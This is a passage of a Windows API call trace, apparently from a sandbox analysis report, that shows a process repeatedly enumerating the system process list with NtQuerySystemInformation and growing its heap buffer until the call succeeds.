NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0195.725] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0x10240) returned 0x2564368 [0195.725] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0195.726] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0x11264) returned 0x2564368 [0195.726] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0195.726] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0x12288) returned 0x2564368 [0195.726] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0195.726] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0x132ac) returned 0x2564368 [0195.726] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0x0 [0195.727] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8998 [0196.670] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0196.670] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0196.671] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0196.671] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0196.671] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x7a1600 [0196.671] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1600, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x7a1600, ResultLength=0x0) returned 0xc0000004 [0196.671] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1600, Size=0x50b4) returned 0x2564368 [0196.671] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0196.671] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0x60d8) returned 0x2564368 [0196.671] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0196.671] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0x70fc) returned 0x2564368 [0196.671] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0196.671] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0x8120) returned 0x2564368 [0196.672] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0196.672] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0x9144) returned 0x2564368 [0196.672] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0196.672] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0xa168) returned 0x2564368 [0196.672] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0196.672] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0xb18c) returned 0x2564368 [0196.672] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0196.672] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0xc1b0) returned 0x2564368 [0196.672] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0196.673] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0xd1d4) returned 0x2564368 [0196.673] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0196.673] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0xe1f8) returned 0x2564368 [0196.673] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0196.673] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0xf21c) returned 0x2564368 [0196.673] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0196.673] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0x10240) returned 0x2564368 [0196.673] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0196.674] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0x11264) returned 0x2564368 [0196.674] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0196.674] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0x12288) returned 0x2564368 [0196.674] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0x0 [0196.674] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8998 [0197.513] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0197.513] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0197.514] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0197.514] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0197.514] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x7a1600 [0197.514] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1600, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x7a1600, ResultLength=0x0) returned 0xc0000004 [0197.514] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1600, Size=0x50b4) returned 0x2564368 [0197.514] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0197.514] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0x60d8) returned 0x2564368 [0197.514] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0197.514] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0x70fc) returned 0x2564368 [0197.514] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0197.514] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0x8120) returned 0x2564368 [0197.514] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0197.515] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0x9144) returned 0x2564368 [0197.515] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0197.515] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0xa168) returned 0x2564368 [0197.515] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0197.515] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0xb18c) returned 0x2564368 [0197.515] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0197.515] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0xc1b0) returned 0x2564368 [0197.515] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0197.516] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0xd1d4) returned 0x2564368 [0197.516] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0197.516] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0xe1f8) returned 0x2564368 [0197.516] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0197.516] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0xf21c) returned 0x2564368 [0197.516] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0x0 [0197.516] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8998 [0198.297] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0198.297] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0198.297] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0198.297] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0198.298] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x7a1600 [0198.298] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1600, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x7a1600, ResultLength=0x0) returned 0xc0000004 [0198.298] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1600, Size=0x50b4) returned 0x2564368 [0198.298] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0198.298] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0x60d8) returned 0x2564368 [0198.298] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0198.298] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0x70fc) returned 0x2564368 [0198.298] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0198.298] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0x8120) returned 0x2564368 [0198.298] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0198.298] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0x9144) returned 0x2564368 [0198.298] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0198.299] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0xa168) returned 0x2564368 [0198.299] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0198.299] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0xb18c) returned 0x2564368 [0198.299] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0198.299] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0xc1b0) returned 0x2564368 [0198.299] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0198.299] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0xd1d4) returned 0x2564368 [0198.299] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0x0 [0198.300] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8998 [0198.707] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0198.708] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0198.708] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0198.708] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0198.708] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x7a1600 [0198.708] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1600, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x7a1600, ResultLength=0x0) returned 0xc0000004 [0198.708] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1600, Size=0x50b4) returned 0x2564368 [0198.708] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0198.708] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0x60d8) returned 0x2564368 [0198.708] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0198.708] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0x70fc) returned 0x2564368 [0198.708] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0198.709] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0x8120) returned 0x2564368 [0198.709] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0198.709] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0x9144) returned 0x2564368 [0198.709] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0198.709] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0xa168) returned 0x2564368 [0198.709] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0198.709] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0xb18c) returned 0x2564368 [0198.709] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0198.710] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0xc1b0) returned 0x2564368 [0198.710] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0198.710] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0xd1d4) returned 0x2564368 [0198.710] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0xc0000004 [0198.710] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2564368, Size=0xe1f8) returned 0x2564368 [0198.710] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2564368, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2564368, ResultLength=0x0) returned 0x0 [0198.710] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8998 [0199.165] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0199.165] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0199.165] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0199.165] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0199.165] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0199.166] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0199.166] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0199.166] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0199.166] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0199.166] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0199.166] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0199.166] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0199.166] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0199.166] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0199.166] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0199.166] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0199.167] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xa168) returned 0x2560048 [0199.167] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0199.167] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xb18c) returned 0x2560048 [0199.167] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0199.167] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xc1b0) returned 0x2560048 [0199.167] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0199.167] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xd1d4) returned 0x2560048 [0199.167] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0199.168] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xe1f8) returned 0x2560048 [0199.168] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0199.168] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88d8 [0200.757] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0200.757] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0200.757] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0200.757] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0200.757] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0200.757] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0200.757] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0200.757] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0200.757] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0200.757] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0200.758] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0200.758] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0200.758] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0200.758] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0200.758] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0200.758] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0200.758] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xa168) returned 0x2560048 [0200.758] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0200.758] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xb18c) returned 0x2560048 [0200.758] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0200.759] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xc1b0) returned 0x2560048 [0200.759] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0200.759] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xd1d4) returned 0x2560048 [0200.759] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0200.759] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xe1f8) returned 0x2560048 [0200.759] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0200.759] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88d8 [0201.014] RtlReAllocateHeap 